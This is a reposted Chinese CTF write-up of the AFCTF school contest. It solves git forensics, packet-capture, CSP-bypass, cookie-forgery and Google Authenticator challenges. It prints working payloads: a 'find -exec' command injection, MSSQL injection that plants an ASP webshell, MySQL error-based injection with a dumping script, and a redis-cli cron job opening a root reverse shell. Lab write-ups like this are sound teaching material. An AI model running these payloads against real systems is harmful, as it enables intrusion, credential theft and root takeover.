AFCTF校赛

Posted huamanggg

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了AFCTF校赛相关的知识,希望对你有一定的参考价值。


fake

留了一个.git文件,我们看一下日志
是有两次提交的,有一次是真的flag

git log

在这里插入图片描述

git show 版本号

我们再使用git show命令来查看内容
在这里插入图片描述

stolen

打开数据包,追踪tcp流
首先看到上传了一个一句话木马
在这里插入图片描述
然后是一个python文件
这个python文件把flag的每一位都转化成ascii码再*16*16+1
然后发送流给192.168.159.138
在这里插入图片描述
再往下看,他执行了这个python文件
那么就看他的包的内容,全部提取出来在转换成flag
在这里插入图片描述
第一个果然是26113,一个个读取出来,再chr一下,转换成字符串
在这里插入图片描述
最后的脚本

a=[26113,27650,24835,26372,31493,29702,26631,26888,29449,24330,26891,29452,24333,29454,29711,28432,27665,25874,28179,24340,29461,25878,25367,29208,25881,29722,8475,8476,8477,32030,2591]

for i in a:
    x=int((i-1)/16/16)
    print(chr(x),end="")

search

search.php?search=猜测可能执行一个类似于find的命令

find / -name xxx

发现根目录有个flag
在这里插入图片描述
这里就考察了对find命令的深入了解
find命令还有一个-exec可以执行命令,注意格式

/search.php?search=flag -exec cat {} \\;

在这里插入图片描述

BABY_CSP

csp绕过,第一次遇到,学习了,参考好文
这里有点简单了,在响应头里面看到nonce的值
在这里插入图片描述
加到script标签里面就行了

<script nonce="29de6fde0db5686d">alert(flag)<script>

在这里插入图片描述

secret

这题每次进行登录或者注册都要验证一个md5前六位,见的很多,留了一个脚本跑

import hashlib

for i in range(1, 1000000000):
    str1 = hashlib.md5(str(i).encode('utf8')).hexdigest()
    if str1.startswith('xxxxxx'):  
        print(str1)
        print(i)
        break

随便注册了一个aaa
发现了一个特点,他的cookie里面有一个usr=xxx,
aaa的就写着_x_x_x,每次的登陆这个x都会变,但是这个_却不会变,所以应该是对应这a这个字母

那就简单了,注册一个adminadmin
果然,cookie里面这个就变成了_sfvk7g%24pw_0f%3DkNg3p%40
截取一半,换掉cookie就出来了
在这里插入图片描述
做完了就找了一下这个加密的规律
我的猜测是根据ascii码的奇偶:

  • 如果是奇数,那么加密的结果就是ascii值+2对应的字符
  • 如果是偶数,那么加密的结果就是ascii值-2对应的字符
_ f k g p
+ - + + -
a d m i n

backup

源码注释里面给出三个hint

hint1: sql server
hint2: some patterns like @"\\w*?\\s*\\(.*?\\)" and @"order\\s*by" are forbidden
hint3: web root: c:\\inetpub\\wwwroot\\backup_\\

chestnut’)or 1=1–闭合语句

猜测sql语句是这样的select * from aaa where bbb like('%传入数据%')
mssql数据库,可以报错查询到字段名,题目是backup,本来以为就是备份文件差异getshell的,但是他把函数全部过滤的完了。。。可能是绕过过滤或者另找出路,估计思路还是备份文件,因为给了绝对路径

后来给了hint,的确是这样做,那就再深究一波

用报错注入获取信息
查询版本

chestnut')or @@version>1--

在这里插入图片描述
用group by和having语句报错查询出字段和表名

chestnut') having 1=1--

在这里插入图片描述

article.id
article.createAt
article.caption
article.content

使用这个查询语句,绕过xxx()的过滤并构造报错注入,查询到了数据库名_backup

')and 1=(select top 1 name from master..sysdatabases where dbid>4)--

在这里插入图片描述
然后就是利用备份来进行getshell
绕这个waf绕了我好久啊,用mssql的不可见字符%1e来代替空格就可以绕过对于语句的过滤()的过滤
推荐好文

1.把数据库备份到网站目录

');backupdatabase _backup to disk = 'c:\\inetpub\\wwwroot\\backup_\\data.bak';--

2.插入表

');creAtetaBle [dbo].[dtest](a image)--

3.插入一句话木马进去<%execute(request("a"))%>

');insErtiNto dtest(a)values(0x3C25657865637574652872657175657374282261222929253E)--

4.进行差异备份

');bacKupdataBase _backup to disk='c:\\inetpub\\wwwroot\\backup_\\hm.asp' WITH DIFFERENTIAL,FORMAT;----

菜刀连接,c盘根目录拿到flag
在这里插入图片描述

google_authenticator

登陆框可以万能密码进入,但是需要输入一什么谷歌验证码
一开始想着爆破一波,6位数实在难爆破,sql注入也无果,那时候就暂时放弃了

后来想到登录框有sql注入,而且有报错信息给出,那么我们可以报错注入一波

password=123&username=1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))#

在这里插入图片描述

password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))#

在这里插入图片描述

password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e))#

在这里插入图片描述
查到了这个otp_secret的时候,我以为字段名就是这个,但是查数据的时候所没有这个字段
后来就加了一个substr

password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e))#

果然后面还有一个_key
在这里插入图片描述
查询username和password,是admin和hgMMDHmE6qn#U9

password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(username)from users)),0x7e))#
password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(username)from users)),0x7e))#

然后查询这个密钥
这个密钥很长,要substr慢慢读

password=123&username=1'and(select updatexml(1,concat(0x7e,(select substr(group_concat(otp_secret_key),1,32)from users)),0x7e))#

写了个小脚本

import requests

url="http://2b5ed280-5cbd-4a7e-9078-f9b1cd11d9e7.node.csuaurora.org/index.php"


for i in range(1,180):
    key = "1'and(select updatexml(1,concat(0x7e,(select substr(group_concat(otp_secret_key),{},1)from users)),0x7e))#".format(i)
    data = {
        'password':123,
        'username':key
    }
    res = requests.post(url=url,data=data).text
    index = res.index("~")
    print(res[index+1:index+2],end="")

在这里插入图片描述

最后得到是

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiJJRkJWSVJTN01KU1hJNURGT0pQV0MzVEVMNVJHSzVEVU1WWkNDSUpCIiwiaWF0IjoxNTE2MjM5MDIyfQ.AQSSxyPihDP8dhVEMpaWrSv2scrEEc2HOmqfAwXqWLY

base64解密后
在这里插入图片描述
这里有一个secret,拿去base32解密一下
在这里插入图片描述
(字好像打错了,貌似这个比赛叫AFCTF吧hhh)
这个应该是密钥
在Github下载官方的GoogleAuthenticator.php
然后加上验证码生成的php

<?php
require_once 'GoogleAuthenticator.php';
$ga = new PHPGangsta_GoogleAuthenticator();
$secret = "IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB";

$oneCode = $ga->getCode($secret); //服务端计算"一次性验证码"
echo "服务端计算的验证码是:".$oneCode."\\n\\n";

然后进行解出验证码在这里插入图片描述
然后提交得到一个php,是一个后门
在这里插入图片描述
在这里插入图片描述
开蚁剑连接
在根目录发现这个
在这里插入图片描述
一运行就说权限不够,需要提权
在这里插入图片描述
信息收集一波
查看有root权限的

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
可惜没看到什么能利用是SUID提权的东西
想试下脏牛提权,但是gcc用不了,也没有写的权限
在这里插入图片描述

查看一波进程,root账户开了redis

ps aux

在这里插入图片描述
这里提权的办法是:redis-cli结合定时任务来反弹root权限的shell提权,好文
执行如下命令

bash-4.2$ redis-cli <<-END
redis-cli <<-END
> set task "\\n\\n*/1 * * * * /bin/bash -i>&/dev/tcp/你的ip/端口 0>&1\\n\\n"
set task "\\n\\n*/1 * * * * /bin/bash -i>&/dev/tcp/你的ip/端口 0>&1\\n\\n"
> config set dir /var/spool/cron
config set dir /var/spool/cron
> config set dbfilename root
config set dbfilename root
> save
save
> END
END

在这里插入图片描述
然后监听8866端口,过一会儿就会执行到这个定时命令,发现反弹出来了一个shell
whoami一下的确是root权限
在这里插入图片描述
去/root找flag即可
在这里插入图片描述

以上是关于AFCTF校赛的主要内容,如果未能解决你的问题,请参考以下文章

记校赛

2019长沙学院暑假集训队第一次校赛A,B代码

校赛低年级组解题报告,,,by五楼team

河南工业大学2017校赛题解

算法笔记_215:第六届蓝桥杯软件类校赛部分真题(Java语言B组)

新年第一篇!西南民族大学第十届校赛(同步赛)